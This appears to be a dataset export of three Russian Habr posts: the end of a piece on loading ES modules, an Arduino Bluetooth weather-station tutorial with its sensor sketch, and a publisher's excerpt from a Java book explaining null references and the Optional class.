Это хотя и очень упрощенный пример, но уже изоморфный. Не думаю, что кто-то всерьез станет использовать такое для загрузки модулей, но сам принцип, на мой взгляд, как минимум, интересен и стимулирует инженерную фантазию.
Важная деталь: экспорты каждого модуля кэшируются. И этот кэш привязан к адресу модуля. Поэтому, если ваши импортируемые файлы меняются динамически - пути к модулям тоже должны меняться. А это значит, что импорты получится использовать только динамические. Помня про поддержку `top level await`, мы не будем считать это большой проблемой.
### Итого.
Вы можете спросить меня: - а есть ли в этом вообще какая-то практическая ценность? Ведь можно просто использовать те-же `fs.readFileSync` или `fetch`... Я, пожалуй, уклонюсь от прямого ответа и напомню, что если звезды зажигают - значит это кому-нибудь нужно.
Надеюсь было весело. Еще больше надеюсь, что вы узнали для себя что-то полезное. Используйте больше ESM и меньше CJS. Всем - добра и мира. | https://habr.com/ru/post/685850/ | null | ru | null |
# Погодная станция на Arduino
Метеостанция предназначена прежде всего для наблюдения за погодой, просмотром текущей температуры, влажности и атмосферного давления. Вещь очень удобная для рыбаков. Я решил сделать свою метеостанцию на основе Arduino, но с отображением данных на мобильном телефоне.
Принцип работы приложения — запускаем на телефоне с ос android, подключаемся к плате arduino по блютузу и, нажимая на иконки, получаем отображение различных данных.
Принцип работы метеостанции простой. При получении с телефона 1, опрашиваем датчик температуры DS18B20, который размещен на улице и отправляем данные на телефон, при получении 2, опрашиваем датчик температуры DS18B20, который размещен в комнате и отправляем данные на телефон. При получении 3, опрашиваем датчик BMP085, а при получении 4 — опрашиваем датчик влажности и тоже отправляем данные.
Сразу отвечу на вопрос «почему отображение данных на мобильном телефоне?». Мне так удобнее, тем более что я экономлю на покупке дисплея, на покупке кнопок и внутреннюю память микроконтроллера. Лень все-таки двигатель прогресса.
**Скриншоты с экрана мобильного телефона**
Измерение температуры на улице в градусах Цельсия:
Измерение температуры в комнате в градусах Цельсия:
Измерение атмосферного давления на улице в мм. рт. ст.:
Измерение влажности воздуха в %
Ну а теперь после небольшого обзора работы перейдем к технической части проекта.
**Схемы подключения датчиков**Схема подключения датчиков температуры DS18B20
 
Датчики температуры необходимо подключать параллельно.
Схема подключения датчика BMP085:
Схема подключения датчика DHT11:
Схема подключения модуля bluetooth HC-05:
После удачного подключения всех датчиков загружаем скетч,
**Скетч**
```
#include
#include
#include
#include
#include
#include
#include
#define ONE\_WIRE\_BUS 4
OneWire oneWire(ONE\_WIRE\_BUS);
DallasTemperature sensors(&oneWire);
DeviceAddress Thermometer1 = {
0x28, 0x00, 0x54, 0xB6, 0x04, 0x00, 0x00, 0x92 };
DeviceAddress Thermometer3 = {
0x28, 0x94, 0xAC, 0xDF, 0x02, 0x00, 0x00, 0xB5 };
BMP085 dps = BMP085();
long Temperature = 0, Pressure = 0, Altitude = 0;
DHT dht(8, DHT11);
char incomingByte;
int x=0;
void setup() {
sensors.begin();
sensors.setResolution(Thermometer1, 10);
sensors.setResolution(Thermometer3, 10);
Wire.begin();
dps.init(MODE\_ULTRA\_HIGHRES, 21000, true);
dht.begin();
Serial.begin(9600);
}
void printTemperature(DeviceAddress deviceAddress) {
float tempC = sensors.getTempC(deviceAddress);
Serial.println(tempC,1);
}
void loop(){
sensors.requestTemperatures();
dps.getPressure(&Pressure);
int h = dht.readHumidity();
float t = dht.readTemperature();
if (Serial.available() > 0) {
incomingByte = Serial.read();
if(incomingByte == '1') {
x=2;
}
if(incomingByte == '2') {
x=1;
}
if(incomingByte == '3') {
x=3;
}
if(incomingByte == '4') {
x=4;
}
}
delay(100);
switch (x) {
case 1:
printTemperature(Thermometer1);
break;
case 2:
printTemperature(Thermometer3);
break;
case 3:
Serial.println(Pressure/133.3,1);
break;
case 4:
Serial.println(h);
break;
}
}
```
Приложение для телефона WSAB работает на ОС андроид 2.3 и выше, [скачать WSAB](http://arduino-project.net/android-prilozheniya-dlya-arduino/).
**Список необходимых компонентов и ссылки на продавцов в Китае**[Датчики температуры DS18B20](http://s.click.aliexpress.com/e/Q7AiYnI2V) – 2 шт
[Датчик давления BMP085](http://s.click.aliexpress.com/e/EQ3z3rJmy) – 1шт.
[Датчик влажности DHT11](http://s.click.aliexpress.com/e/uji2rfAmU) – 1шт.
[плата Arduino Nano V3](http://s.click.aliexpress.com/e/eeUbMfmeE) – 1шт.
[Bluetooth модуль HC-05](http://s.click.aliexpress.com/e/AUzjUbuRr) – 1шт.
[Исходник программы и статья по созданию программы для андроид телефона](http://arduino-project.net/pogodnaya-stantsiya-v-mit-app-inventor-2/)
Все замечания и предложения жду в комментариях. | https://habr.com/ru/post/254465/ | null | ru | null |
# Книга «Современный язык Java. Лямбда-выражения, потоки и функциональное программирование»
[](https://habr.com/ru/company/piter/blog/470598/)Привет, Хаброжители! Преимущество современных приложений — в передовых решениях, включающих микросервисы, реактивные архитектуры и потоковую обработку данных. Лямбда-выражения, потоки данных и долгожданная система модулей платформы Java значительно упрощают их реализацию.
Книга поможет вам овладеть новыми возможностями современных дополнений, таких как API Streams и система модулей платформы Java. Откройте для себя новые подходы к конкурентности и узнайте, как концепции функциональности улучшают работу с кодом.
В этой книге: • Новые возможности Java • Потоковые данные и реактивное программирование • Система модулей платформы Java.
### Отрывок. Глава 11. Класс Optional как лучшая альтернатива null
Поднимите руку, если за свою карьеру Java-разработчика вы хоть раз получали исключение NullPointerException. Оставьте ее поднятой, если это исключение — наиболее частое из встречавшихся вам. К сожалению, мы не видим вас сейчас, но очень вероятно, что ваша рука поднята. Мы также подозреваем, что вы можете думать что-то вроде: «Да, согласен. Исключения NullPointerException — головная боль для любого Java-разработчика, неважно, новичка или эксперта. Но поделать с ними все равно ничего нельзя, это цена, которую мы платим за использование такой удобной и, вероятно, неизбежной конструкции, как пустые ссылки». Это общее мнение в мире (императивного) программирования; тем не менее, возможно, это не вся правда, а скорее глубоко укоренившееся предубеждение.
Британский специалист в области компьютерных наук Тони Хоар (Tony Hoare), создавший пустые ссылки еще в 1965 году, при разработке языка ALGOL W, одного из первых типизированных языков программирования с записями, память под которые выделялась в куче, позднее признался, что сделал это «просто из-за легкости реализации». Хотя он хотел гарантировать «полную безопасность использования исключение для пустых ссылок, поскольку думал, что это самый удобный способ смоделировать отсутствие значения. Много лет спустя он пожалел об этом решении, назвав его «моя ошибка на миллиард долларов». Мы все видели результаты этого решения. Например, мы можем проверять поле объекта, чтобы определить, представляет ли оно одно из двух возможных значений, лишь для того, чтобы обнаружить, что проверяем не объект, а нулевой указатель, и тут же получить это надоедливое исключение NullPointerException.
На самом деле Хоар, возможно, даже недооценил масштаб затрат на исправление миллионами разработчиков ошибок, вызванных пустыми ссылками за последние 50 лет. И действительно, абсолютное большинство созданных за последние десятилетия языков программирования1, включая Java, основывается на том же самом проектном решении, возможно, по причинам совместимости с более старыми языками или (что более вероятно), как сказал Хоар, «просто из-за легкости реализации». Мы начнем с демонстрации простого примера проблем, возникающих при использовании null.
### 11.1. Как смоделировать отсутствие значения
Представьте себе, что у вас есть приведенная в листинге 11.1 вложенная структура объектов для владельца автомобиля, купившего автостраховку.
Листинг 11.1. Модель данных Person/Car/Insurance
```
public class Person {
private Car car;
public Car getCar() { return car; }
}
public class Car {
private Insurance insurance;
public Insurance getInsurance() { return insurance; }
}
public class Insurance {
private String name;
public String getName() { return name; }
}
```
Как вы думаете, в чем проблема следующего кода?
```
public String getCarInsuranceName(Person person) {
return person.getCar().getInsurance().getName();
}
```
Этот код выглядит вполне разумно, но у многих людей нет автомобилей, так какой же в этом случае будет результат вызова метода getCar? Зачастую (и совершенно напрасно) возвращают пустую ссылку, чтобы указать на отсутствие значения (в данном случае чтобы указать на отсутствие машины). В результате вызов метода getInsurance вернет страховку пустой ссылки, что приведет к генерации NullPointerException во время выполнения и останову программы. Но это еще не все. А что, если объект person был равен null? Что, если метод getInsurance тоже вернул null?
### 11.1.1. Снижение количества исключений NullPointerException с помощью проверки на безопасность
Как избежать неожиданных NullPointerException? Обычно можно добавить проверки на null везде, где нужно (а иногда, превышая требования безопасного программирования, и там, где не нужно), причем зачастую в различных стилях. Первая наша попытка написать метод, который бы предотвращал генерацию NullPointerException, показана в листинге 11.2.
Этот метод выполняет проверку на null при каждом разыменовании переменной, возвращая строковое значение «Unknown», если хоть одна из переменных, встречавшихся в этой цепочке разыменования, представляет собой пустое значение. Единственное исключение из данного правила — мы не проверяем на null название страховой компании, поскольку знаем, что (как и у любой другой компании) у нее обязано быть название. Обратите внимание, что этой последней проверки нам удается избежать только за счет знаний предметной области, но этот факт не отражен в Java-классах, моделирующих наши данные.
Приведенный в листинге 11.2 метод мы описали как «глубокие сомнения», поскольку в нем заметен повторяющийся паттерн: каждый раз в случае сомнений, не равна ли переменная null, приходится добавлять еще один вложенный блок if, повышая тем самым уровень отступов кода. Очевидно, что эта методика плохо масштабируется и снижает удобочитаемость, так что лучше попробовать другое решение. Во избежание приведенной проблемы пойдем другим путем, как показано в листинге 11.3.
Во второй попытке мы пробуем избежать глубокого вложения блоков if с помощью другой стратегии: всякий раз, когда мы натыкаемся на равную null переменную, возвращаем строковое значение «Unknown». Но это решение тоже далеко от идеала; теперь метод насчитывает четыре различные точки выхода, что сильно усложняет его сопровождение. Вдобавок возвращаемое в случае null значение по умолчанию — строка «Unknown» — повторяется в трех местах и (мы надеемся) не содержит орфографических ошибок! Во избежание этого можно, конечно, вынести повторяющуюся строку в константу.
Более того, этот процесс подвержен ошибкам. Что, если вы забудете проверить, равно ли null одно из свойств? В этой главе мы приведем аргументы в пользу того, что использование null для представления отсутствия значения — принципиально ошибочный подход. Требуется лучший способ моделирования отсутствия и наличия значения.
### 11.1.2. Проблемы, возникающие с null
Если подвести итог вышесказанного, использование пустых ссылок в Java приводит к следующим, как теоретическим, так и практическим проблемам.
* Служит источником ошибок. NullPointerException — наиболее распространенное (с огромным отрывом) исключение в Java.
* «Раздувает» код. Ухудшает удобочитаемость из-за необходимости заполнять код проверками на null, зачастую глубоко вложенными.
* Бессмысленно. У него отсутствует какой-либо семантический смысл, в частности, такой подход к моделированию отсутствия значения в языке со статической типизацией принципиально ошибочен.
* Нарушает идеологию языка Java. Java всегда скрывает указатели от разработчиков, за одним исключением: нулевой указатель.
* Создает брешь в системе типов. null не включает никакого типа или другой информации, так что его можно присвоить любому типу ссылки. Это может приводить к проблемам при передаче null в другую часть системы, где отсутствует информация о том, чем изначально должен быть этот null.
В качестве основы для других допустимых решений в следующем подразделе мы вкратце рассмотрим возможности, предлагаемые другими языками программирования.
### 11.1.3. Альтернативы null в других языках программирования
В последние годы такие языки, как Groovy, сумели обойти данную проблему за счет появления оператора безопасного вызова (?.), предназначенного для безопасной работы со значениями, потенциально равными null. Чтобы разобраться, как этот процесс осуществляется на практике, рассмотрим следующий код на языке Groovy. В нем извлекается название страховой компании, в которой заданный человек застраховал машину:
`def carInsuranceName = person?.car?.insurance?.name`
Вам должно быть ясно, что делает этот код. У человека может не быть машины, для моделирования чего мы присваиваем null ссылке car объекта person. Аналогично машина может оказаться незастрахованной. Оператор безопасного вызова языка Groovy позволяет безопасно работать с потенциально пустыми ссылками, без генерации исключения NullPointerException, передавая пустую ссылку далее по цепочке вызовов и возвращая null, если любое значение из цепочки равно null.
Аналогичную возможность предлагалось внедрить в Java 7, но затем было принято решение этого не делать. Однако, как ни странно, оператор безопасного вызова не так уж нужен в Java. Первая мысль любого Java-разработчика при столкновении с NullPointerException — быстро исправить проблему, добавив оператор if для проверки значения на null перед вызовом его метода. Решение проблемы подобным образом, без учета того, допустим ли null в этой конкретной ситуации для вашего алгоритма или модели данных, приводит не к исправлению, а к скрытию ошибки. И впоследствии для очередного разработчика (вероятно, вас самого через неделю или месяц) найти и исправить эту ошибку будет гораздо сложнее. Фактически при этом вы просто сметаете мусор под ковер. null-безопасный оператор разыменования языка Groovy — всего лишь большая и более мощная метла, с помощью которой можно делать подобные глупости, особо не волнуясь о последствиях.
Другие функциональные языки программирования, например Haskell и Scala, смотрят на эту проблему иначе. В Haskell есть тип Maybe, по сути инкапсулирующий опциональное значение. Объект типа Maybe может содержать значение заданного типа или ничего не содержать. В Haskell отсутствует понятие пустой ссылки. В Scala для инкапсуляции наличия или отсутствия значения типа T предусмотрена схожая логическая структура Option[T], которую мы обсудим в главе 20. При этом необходимо явным образом проверять, присутствует ли значение, с помощью операций типа Option, который обеспечивает «проверки на null». Теперь уже невозможно «забыть проверить на null», поскольку проверки требует сама система типов.
Ладно, мы немного отклонились от темы, и все это звучит довольно абстрактно. Наверное, вам интересно, что в этом смысле предлагает Java 8. Вдохновившись идеей опционального значения, создатели Java 8 ввели в ее состав новый класс, java.util.Optional! В этой главе мы покажем, в чем состоит преимущество использования его для моделирования потенциально отсутствующих значений вместо присвоения им пустой ссылки. Мы также поясним, почему такой переход от null к Optional требует от программиста пересмотра идеологии работы с опциональными значениями в модели предметной области. Наконец, мы изучим возможности этого нового класса Optional и приведем несколько практических примеров его эффективного использования. В итоге вы научитесь проектировать улучшенные API, в которых пользователю уже из сигнатуры метода понятно, возможно ли здесь опциональное значение.
### 11.2. Знакомство с классом Optional
В Java 8 под влиянием языков Haskell и Scala появился новый класс java.util.Optional для инкапсуляции опционального значения. Например, если вы знаете, что человек может владеть машиной, а может и не владеть, то не следует объявлять переменную car в классе Person с типом Car и присваивать ей пустую ссылку, если у человека нет машины; вместо этого ее тип должен быть Optional, как показано на рис. 11.1.
При наличии значения класс Optional служит адаптером для него. И наоборот, отсутствие значения моделируется с помощью пустого опционала, возвращаемого методом Optional.empty. Этот статический фабричный метод возвращает специальный экземпляр-одиночку класса Optional. Наверное, вам интересно, в чем состоит различие пустой ссылки и Optional.empty(). Семантически их можно считать одним и тем же, но на практике между ними существуют колоссальные различия. Попытка разыменования null неизбежно приводит к NullPointerException, а Optional.empty() — корректный, работоспособный объект типа Optional, к которому можно удобно обращаться. Скоро вы увидите, как именно.
Важное практическое смысловое отличие в использовании объектов Optional вместо null: объявление переменной типа Optional ясно говорит, что в этом месте допускается пустое значение. И наоборот, всегда используя тип Car и, возможно, иногда присваивая переменным этого типа пустые ссылки, вы подразумеваете, что полагаетесь только на свои знания предметной области, чтобы понять, относится ли null к области определения заданной переменной.
С учетом этого можно переделать исходную модель из листинга 11.1. Используем класс Optional, как показано в листинге 11.4.
Отметим, что использование класса Optional обогащает семантику модели. Поле типа Optional в классе Person и поле типа Optional в классе Car отражают тот факт, что у человека может быть машина, а может и не быть, равно как машина может быть застрахована, а может и не быть.
В то же время объявление названия страховой компании как String, а не Optional явно говорит о том, что у страховой компании должно быть название. Таким образом, вы точно знаете, что получите NullPointerException при разыменовании названия страховой компании; добавлять проверку на null не нужно, ведь это только скрыло бы проблему. У страховой компании должно быть название, так что, если вам попадется компания без названия, нужно выяснить, что не так с данными, а не добавлять фрагмент кода для скрытия этого обстоятельства.
Благодаря последовательному использованию опциональных значений создается четкое различие между значением, которое заведомо может отсутствовать, и значением, которое отсутствует из-за ошибки в алгоритме или проблемы в данных. Важно отметить, что класс Optional не предназначен для замены всех пустых ссылок до единой. Его задача — помочь спроектировать более понятные API, чтобы по сигнатуре метода можно было понять, может ли там встретиться опциональное значение. Система типов Java заставляет распаковывать опционал для обработки отсутствия значения.
### Об авторах
**Рауль-Габриэль Урма** — генеральный директор и один из основателей компании Cambridge Spark (Великобритания), ведущего образовательного сообщества для исследователей данных и разработчиков. Рауль был избран одним из участников программы Java Champions в 2017 году. Он работал в компаниях Google, eBay, Oracle и Goldman Sachs. Защитил диссертацию по вычислительной технике в Кембриджском университете. Кроме того, он имеет диплом магистра технических наук Имперского колледжа Лондона, окончил его с отличием и получил несколько премий за рационализаторские предложения. Рауль представил более 100 технических докладов на международных конференциях.
**Марио Фуско** — старший инженер-разработчик программного обеспечения в компании Red Hat, участвующий в разработке ядра Drools — механизма обработки правил JBoss. Обладает богатым опытом разработки на языке Java, участвовал (зачастую в качестве ведущего разработчика) во множестве корпоративных проектов в различных отраслях промышленности, начиная от СМИ и заканчивая финансовым сектором. В числе его интересов функциональное программирование и предметно-ориентированные языки. На основе этих двух увлечений он создал библиотеку lambdaj с открытым исходным кодом, желая разработать внутренний DSL Java для работы с коллекциями и сделать возможным применение некоторых элементов функционального программирования в Java.
**Алан Майкрофт** — профессор на факультете компьютерных наук Кембриджского университета, где он преподает с 1984 года. Он также сотрудник колледжа Робинсона, один из основателей Европейской ассоциации языков и систем программирования, а также один из основателей и попечителей Raspberry Pi Foundation. Имеет ученые степени в области математики (Кембридж) и компьютерных наук (Эдинбург). Алан — автор более 100 научных статей. Был научным руководителем для более 20 кандидатов на соискание PhD. Его исследования в основном касаются сферы языков программирования и их семантики, оптимизации и реализации. Какое-то время он работал в AT&T Laboratories и научно-исследовательском отделе Intel, а также участвовал в основании компании Codemist Ltd., выпустившей компилятор языка C для архитектуры ARM под названием Norcroft.
» Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/collection/new/product/sovremennyy-yazyk-java-lyambda-vyrazheniya-potoki-i-funktsionalnoe-programmirovanie?_gs_cttl=120&gs_direct_link=1&gsaid=82744&gsmid=29789&gstid=c)
» [Оглавление](https://storage.piter.com/upload/contents/978544610997/978544610997_X.pdf)
» [Отрывок](https://storage.piter.com/upload/contents/978544610997/978544610997_p.pdf)
Для Хаброжителей скидка 25% по купону — **Java**
По факту оплаты бумажной версии книги на e-mail высылается электронная книга. | https://habr.com/ru/post/470598/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.